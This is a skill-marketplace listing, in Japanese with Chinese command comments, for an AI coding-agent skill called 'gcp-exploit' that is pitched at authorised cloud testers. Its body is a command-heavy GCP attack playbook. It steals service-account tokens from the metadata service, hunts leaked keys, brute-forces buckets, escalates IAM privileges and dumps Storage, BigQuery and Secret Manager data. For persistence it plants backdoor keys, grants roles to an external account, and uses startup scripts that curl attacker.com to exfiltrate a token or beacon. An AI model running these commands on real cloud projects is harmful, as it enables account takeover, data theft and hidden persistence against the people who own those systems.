mcpField
G
gcp-exploit

gcp-exploit

github.com/wgpsecセキュリティ1.8k45 回インストール4 日前に更新
リポジトリ

gcp-exploit について

クラウドセキュリティテスター向けのGCP環境攻撃ガイドです。認証情報の発見、IAM権限昇格、データアクセス、永続化の手順例を扱います。

主な機能

  1. 01Metadataサービスとサービスアカウント認証情報の確認
  2. 02公開Cloud Storageバケットの列挙
  3. 03IAM権限昇格経路の整理
  4. 04StorageとBigQueryへのアクセス例
  5. 05サービスアカウントキーによる永続化の説明

活用シーン

  1. 01許可された評価でGCP認証情報の露出を確認
  2. 02サービスアカウント権限と昇格経路を分析
  3. 03BucketとBigQueryのデータアクセスを監査
  4. 04クラウド環境の永続化リスクを評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill gcp-exploit

インストール後、Claude Code で/gcp-exploitを入力して読み込まれたか確認します。

同梱ファイルreferences/gcp-iam-privesc.mdreferences/gke-attack.md

詳細

GCP クラウド環境の攻撃手法

AWS との違い:GCP の IAM 継承モデルと Service Account の鍵の仕組みにより、独自の攻撃経路が生じます。

⛔ 詳細な参考資料


Phase 1:初期アクセスと情報収集

1.1 Metadata サービスの悪用(SSRF → GCP 認証情報)
# GCP Metadata 端点(需要 Metadata-Flavor header,但不需要 AWS IMDSv2 式 token)
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/

# 获取 Service Account Token
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# 获取项目信息
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"

# 获取实例属性(可能含敏感配置)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"

# SSH 密钥(如果在 metadata 中配置)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"
1.2 Service Account の鍵の発見
# 搜索泄露的 SA 密钥(JSON 格式)
grep -r "private_key_id" /path/to/code/
find / -name "*.json" -exec grep -l "client_email.*iam.gserviceaccount.com" {} \;

# 常见位置
# ~/.config/gcloud/
# /root/.config/gcloud/application_default_credentials.json
# 环境变量: GOOGLE_APPLICATION_CREDENTIALS
# Kubernetes Secrets: /var/run/secrets/...
# GitHub/GitLab 泄露
1.3 Bucket の列挙
# 公开 Bucket 探测
# GCP Bucket URL 格式:
# https://storage.googleapis.com/BUCKET_NAME
# gs://BUCKET_NAME

# 常见命名模式探测
for prefix in target target-prod target-dev target-backup target-assets; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://storage.googleapis.com/$prefix")
  echo "$prefix: $status"
done

# 使用 GCPBucketBrute
python3 gcpbucketbrute.py -k target -o results.txt

Phase 2:認証と権限の確認

# 使用窃取的 SA 密钥认证
gcloud auth activate-service-account --key-file=stolen-key.json

# 或使用 access token
gcloud config set auth/access_token_file /tmp/token.txt

# 确认身份
gcloud auth list
gcloud config get-value project

# 枚举权限
# 列出当前 SA 的 IAM 角色
gcloud projects get-iam-policy $(gcloud config get-value project) \
  --flatten="bindings[].members" \
  --filter="bindings.members:$(gcloud config get-value account)"

# 测试具体权限
gcloud asset search-all-iam-policies --query="policy:roles/owner"

Phase 3:IAM 権限昇格

3.1 よくある権限昇格経路
GCP IAM 提权路径:
├─ iam.serviceAccountKeys.create → 给高权限 SA 创建新密钥
├─ iam.serviceAccounts.getAccessToken → 直接获取其他 SA 的 token
├─ iam.serviceAccounts.implicitDelegation → 链式委托
├─ iam.serviceAccounts.signBlob → 签署 JWT 冒充其他 SA
├─ iam.serviceAccounts.signJwt → 直接签署 JWT
├─ deploymentmanager.deployments.create → 以 DM SA 身份部署资源
├─ cloudfunctions.functions.create → 创建函数以高权限 SA 执行
├─ compute.instances.create → 创建 VM 挂载高权限 SA
├─ run.services.create → 创建 Cloud Run 挂载 SA
└─ orgpolicy.policy.set → 修改组织策略
3.2 悪用例
# 1. 创建新的 SA 密钥(如果有 iam.serviceAccountKeys.create)
gcloud iam service-accounts keys create /tmp/key.json \
  [email protected]

# 2. 获取其他 SA 的 Token(如果有 getAccessToken)
gcloud auth print-access-token --impersonate-service-account=target-sa@project.iam.gserviceaccount.com

# 3. 通过 Cloud Function 提权
gcloud functions deploy privesc \
  --runtime python39 \
  --trigger-http \
  [email protected] \
  --source=./malicious-function/
# 函数代码中以 high-priv SA 身份执行操作

# 4. 通过 Compute Instance 提权
gcloud compute instances create privesc-vm \
  [email protected] \
  --scopes=cloud-platform \
  --metadata=startup-script='curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token; curl https://attacker.com/exfil -d @/tmp/token'

Phase 4:データアクセス

# Storage Bucket 操作
gsutil ls gs://                               # 列出所有 bucket
gsutil ls -r gs://target-bucket/              # 递归列出文件
gsutil cp gs://bucket/secret.txt ./           # 下载文件
gsutil cp -r gs://bucket/ ./local-dump/       # 下载全部

# BigQuery 数据导出
bq ls                                          # 列出 datasets
bq ls project:dataset                         # 列出 tables
bq query "SELECT * FROM \`project.dataset.table\` LIMIT 100"
bq extract project:dataset.table gs://bucket/export.csv

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=db-password

# Firestore/Datastore
gcloud firestore export gs://bucket/firestore-dump

Phase 5:永続化

# 1. 创建新 SA 密钥(最常见)
gcloud iam service-accounts keys create backdoor.json \
  [email protected]

# 2. 授予外部账户权限
gcloud projects add-iam-policy-binding PROJECT \
  --member='user:[email protected]' --role='roles/editor'

# 3. 创建 Cloud Function 定时回连
# 通过 Cloud Scheduler 触发 → 定时 beacon

# 4. Compute Engine startup-script 持久化
gcloud compute instances add-metadata INSTANCE \
  --metadata=startup-script='curl https://attacker.com/beacon'

ツール早見表

ツール用途
gcloud CLIGCP 公式ツール
GCPBucketBruteBucket の列挙
ScoutSuiteマルチクラウドのセキュリティ監査
ProwlerGCP のセキュリティチェック
GCP IAM Privilege Escalation権限昇格チェックツール
HayatGCP 攻撃フレームワーク

コメント